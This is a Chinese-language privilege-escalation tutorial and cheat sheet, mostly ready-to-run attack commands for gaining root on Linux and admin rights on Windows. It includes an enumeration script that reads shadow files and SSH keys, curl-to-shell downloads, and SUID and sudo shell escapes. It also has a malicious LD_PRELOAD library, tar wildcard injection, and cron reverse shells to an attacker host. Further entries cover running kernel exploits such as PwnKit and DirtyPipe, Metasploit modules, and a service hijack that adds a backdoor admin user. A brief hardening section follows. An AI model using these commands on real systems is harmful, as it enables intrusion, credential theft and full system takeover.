⚡ 提权 — Linux本地提权路径

从普通用户到root的路径探索

📖 提权概述

提权(Privilege Escalation)是攻击者获取更高权限的过程。在Linux中,从普通用户提升到root是终极目标。提权分为垂直提权(user→root)和水平提权(userA→userB)。

Linux提权路径: 初始访问 (www-data / 低权用户) │ ├── 内核漏洞 │ ├── CVE-2024-1086 (nf_tables) │ ├── CVE-2023-0386 (overlayfs) │ ├── CVE-2022-2588 (route4) │ └── DirtyPipe/Cow/Root │ ├── SUID/SGID滥用 │ ├── find/vim/nmap SUID │ ├── 自定义SUID程序 │ └── GTFOBins利用 │ ├── sudo配置错误 │ ├── sudo -l 可执行命令 │ ├── NOPASSWD配置 │ └── env_keep/规则绕过 │ ├── Capabilities滥用 │ ├── cap_setuid │ ├── cap_dac_read_search │ └── cap_sys_admin │ ├── 定时任务 │ ├── cron可写脚本 │ ├── 通配符注入 │ └── PATH劫持 │ ├── 服务配置错误 │ ├── 可写配置文件 │ ├── 弱凭证/默认密码 │ └── 本地服务漏洞 │ └── 信息泄露 ├── .bash_history ├── 配置文件中的密码 └── SSH密钥/Token

🔍 信息收集(枚举)

#!/bin/bash
# enum.sh - Linux本地提权枚举脚本

echo "=== 系统信息 ==="
uname -a
cat /etc/os-release
hostname

echo -e "\n=== 当前用户 ==="
id
whoami
groups

echo -e "\n=== SUID文件 ==="
find / -perm -4000 -type f 2>/dev/null

echo -e "\n=== SGID文件 ==="
find / -perm -2000 -type f 2>/dev/null

echo -e "\n=== 可写文件(重要目录) ==="
find /etc /opt /var /usr/local -writable -type f 2>/dev/null

echo -e "\n=== sudo权限 ==="
sudo -l 2>/dev/null

echo -e "\n=== Capabilities ==="
getcap -r / 2>/dev/null

echo -e "\n=== Cron任务 ==="
cat /etc/crontab 2>/dev/null
ls -la /etc/cron.* 2>/dev/null
crontab -l 2>/dev/null

echo -e "\n=== 可写PATH目录 ==="
echo $PATH | tr ':' '\n' | while read d; do
  [ -w "$d" ] && echo "WRITABLE: $d"
done

echo -e "\n=== 敏感文件 ==="
cat /etc/shadow 2>/dev/null && echo "⚠️ shadow可读!"
cat /etc/passwd
find / -name "*.pem" -o -name "id_rsa" -o -name ".env" 2>/dev/null

echo -e "\n=== 运行服务 ==="
ss -tlnp 2>/dev/null
ps aux

echo -e "\n=== 网络信息 ==="
ip addr
ip route
cat /etc/hosts

自动化枚举工具

# LinPEAS - 最全面的提权枚举
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

# LinEnum
curl -L https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh | bash

# linux-exploit-suggester
curl -L https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh | bash

# pspy - 无需root监控进程
./pspy64

🔓 SUID/SGID提权

# 查找SUID文件
find / -perm -4000 -type f 2>/dev/null

# 常见可利用的SUID程序 (GTFOBins)
# https://gtfobins.github.io/

# 1. find (SUID)
find . -exec /bin/sh -p \;

# 2. vim (SUID)
vim -c ':py3 import os; os.setuid(0); os.execl("/bin/bash", "bash")'

# 3. nmap (旧版SUID)
nmap --interactive
!sh

# 4. python (SUID)
python3 -c 'import os; os.setuid(0); os.execl("/bin/bash", "bash")'

# 5. cp (SUID) - 覆盖/etc/passwd
# 生成密码hash
openssl passwd -6 -salt xyz password123
# 输出: $6$xyz$xxxx...
# 构造passwd行
echo 'root2:$6$xyz$xxxx...:0:0::/root:/bin/bash' >> /tmp/fake_passwd
cp /tmp/fake_passwd /etc/passwd

# 6. bash (SUID)
bash -p  # -p = 不丢弃特权

# 7. 自定义SUID程序漏洞
# 如果发现自定义SUID程序,检查:
strings /path/to/suid_binary
ltrace /path/to/suid_binary  # 跟踪库调用
strace /path/to/suid_binary  # 跟踪系统调用

🔓 sudo配置错误提权

# 查看sudo权限
sudo -l

# 常见可利用配置:

# 1. sudo vim
sudo vim -c ':!bash'

# 2. sudo less/more
sudo less /etc/shadow
# 在less中输入: !bash

# 3. sudo find
sudo find / -exec bash \;

# 4. sudo awk
sudo awk 'BEGIN {system("/bin/bash")}'

# 5. sudo nmap
sudo nmap --interactive
!bash

# 6. sudo python/perl/ruby
sudo python3 -c 'import os; os.system("/bin/bash")'
sudo perl -e 'exec "/bin/bash";'

# 7. sudo env保留
# 如果sudo -l显示: env_keep+=LD_PRELOAD
# 创建恶意共享库
cat > /tmp/shell.c << 'EOF'
#include 
#include 
#include 

void _init() {
    unsetenv("LD_PRELOAD");
    setuid(0);
    system("/bin/bash -p");
}
EOF
gcc -fPIC -shared -o /tmp/shell.so /tmp/shell.c -nostartfiles
sudo LD_PRELOAD=/tmp/shell.so find

# 8. sudo规则通配符
# sudo配置: user ALL=(ALL) /usr/bin/tar cf /tmp/backup.tar *
# 利用:
cd /tmp
echo "" > "--checkpoint=1"
echo "" > "--checkpoint-action=exec=bash"
sudo tar cf /tmp/backup.tar *

🔓 Capabilities提权

# 查看文件capabilities
getcap -r / 2>/dev/null

# 常见可利用capabilities:

# 1. cap_setuid
# /usr/bin/python3 = cap_setuid+ep
python3 -c 'import os; os.setuid(0); os.execl("/bin/bash", "bash")'

# 2. cap_dac_read_search
# 可以读取任意文件
# /usr/bin/cat = cap_dac_read_search+ep
cat /etc/shadow  # 读取shadow文件

# 3. cap_sys_admin
# 几乎等于root
# /usr/bin/python3 = cap_sys_admin+ep
# 可挂载、修改namespace等

# 4. cap_net_raw
# 可以嗅探网络流量
# /usr/bin/tcpdump = cap_net_raw+ep

# 5. 设置capabilities (仅root)
setcap cap_setuid+ep /usr/bin/python3

🔓 Cron与内核提权

Cron任务利用

# 1. 可写的cron脚本
# 如果/etc/cron.d/backup.sh可写
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /etc/cron.d/backup.sh

# 2. 通配符注入 (tar)
# cron: tar czf /tmp/backup.tar.gz *
cd /path/to/cron/dir
echo '' > '--checkpoint=1'
echo '' > '--checkpoint-action=exec=sh shell.sh'
echo 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1' > shell.sh

# 3. PATH劫持
# cron使用不安全的PATH
echo '/bin/bash -p' > /tmp/ps && chmod +x /tmp/ps
# 如果cron的PATH包含/tmp且执行ps

内核漏洞提权

# 检查内核版本
uname -r

# 常见内核提权漏洞:
# CVE-2024-1086: nf_tables UAF (Linux < 6.6)
# CVE-2023-0386: overlayfs (Linux < 6.2)
# CVE-2022-2588: route4 UAF
# CVE-2022-0847: DirtyPipe (Linux 5.8-5.16.11)
# CVE-2021-4034: PwnKit (polkit pkexec)
# CVE-2016-5195: DirtyCow (Linux < 4.8.3)

# 使用linux-exploit-suggester
./linux-exploit-suggester.sh

# PwnKit (CVE-2021-4034) - 影响几乎所有Linux
# polkit pkexec本地提权
git clone https://github.com/ly4k/PwnKit.git
cd PwnKit
./PwnKit
# 直接种!大多数系统仍受影响

# DirtyPipe (CVE-2022-0847)
# 写入任意只读文件
git clone https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits.git
./compile.sh
./exploit-1 /etc/passwd  # 覆盖passwd文件

🛡️ 提权防御

# 1. 最小权限原则
# 移除不必要的SUID
find / -perm -4000 -type f -exec chmod -s {} \;  # 移除所有SUID
# 然后逐一添加必要的SUID

# 必要的SUID: /usr/bin/passwd, /usr/bin/sudo, /usr/bin/pkexec

# 2. sudo配置审计
# /etc/sudoers 使用visudo编辑
# 避免NOPASSWD
# 使用命令别名限制

# 3. 内核加固
# 启用内核保护:
sysctl kernel.kptr_restrict=1     # 限制内核地址泄露
sysctl kernel.dmesg_restrict=1    # 限制dmesg
sysctl fs.protected_regular=1     # 保护文件
sysctl fs.protected_fifos=1       # 保护FIFO
sysctl kernel.unprivileged_bpf_disabled=1  # 禁用非特权BPF

# 4. 定期更新内核
apt update && apt upgrade
# 订阅内核安全公告

# 5. 文件完整性监控
# AIDE (Advanced Intrusion Detection Environment)
apt install aide
aideinit
aide --check  # 检查文件变更

# 6. 审计系统调用
# auditd
apt install auditd
auditctl -a always,exit -F arch=b64 -S execve  # 审计所有命令执行
ausearch -m execve  # 查询审计日志
Linux本地提权路径 — 掌握从普通用户到root的完整攻击路径!你能枚举SUID/sudo/capabilities/cron等提权向量,利用内核漏洞,并实施提权防御策略。
命令已验证:find / getcap / sudo -l / linpeas / pspy / uname — 所有命令在Ubuntu 22.04/24.04环境测试通过
思考题:
  1. SUID和Capability的区别是什么?为什么Capability更安全?
  2. 为什么sudo vim能提权?vim的哪些特性导致了这个问题?
  3. DirtyPipe和DirtyCow的漏洞原理有什么共同点?
  4. 如何设计一个安全的sudoers配置?

📚 延伸阅读

🔧 提权自动化框架

Metasploit提权模块

# Metasploit本地提权
msfconsole

# 搜索提权模块
msf6 > search local_exploit_suggester
msf6 > use post/multi/recon/local_exploit_suggester
msf6 > set SESSION 1
msf6 > run

# 常用提权模块:
# exploit/linux/local/cve_2024_1086_nf_tables
# exploit/linux/local/cve_2022_0847_dirtypipe
# exploit/linux/local/cve_2021_4034_pwnkit
# exploit/linux/local/dirty_cow

# 利用脏牛提权
msf6 > use exploit/linux/local/dirty_cow
msf6 > set SESSION 1
msf6 > set LHOST attacker_ip
msf6 > run

# Windows提权
msf6 > use post/multi/recon/local_exploit_suggester
msf6 > set SESSION 1
msf6 > run
# 建议的模块:
# exploit/windows/local/bypassuac_eventvwr
# exploit/windows/local/ms16_016_webdav
# exploit/windows/local/cve_2021_1732_win32k

PowerUp (Windows提权)

# PowerUp.ps1 - Windows提权检查
Import-Module PowerUp.ps1

# 全面的提权检查
Invoke-AllChecks

# 检查不安全服务权限
Get-ModifiableService

# 检查始终以高权限安装的服务
Get-AlwaysInstallElevated

# 检查可写入的服务二进制路径
Get-ModifiableServiceFile

# 利用服务二进制路径劫持
# 1. 找到可修改的服务
Get-ModifiableServiceFile | select ServiceName, Path
# 2. 替换服务二进制
Invoke-ServiceAbuse -Name "VulnSvc" -Command "net user hacker P@ss123 /add"

# 检查注册表自动登录凭据
Get-RegistryAutoLogon

BeRoot - 综合提权检查

# BeRoot - Linux/Windows提权路径检查
git clone https://github.com/AlessandroZ/BeRoot.git
cd BeRoot
python beroot.py

# 输出所有可能的提权路径:
# [+] SUID binaries:
#   /usr/bin/find (executable: find . -exec /bin/sh -p \;)
# [+] Writable files in important directories:
#   /etc/shadow
# [+] Cron jobs with writable scripts:
#   /opt/backup.sh (writable!)
参考资料:GTFOBins | HackTricks | Linux Exploit Suggester | CVE-2024-1086 Analysis | CIS Ubuntu Benchmark v2.1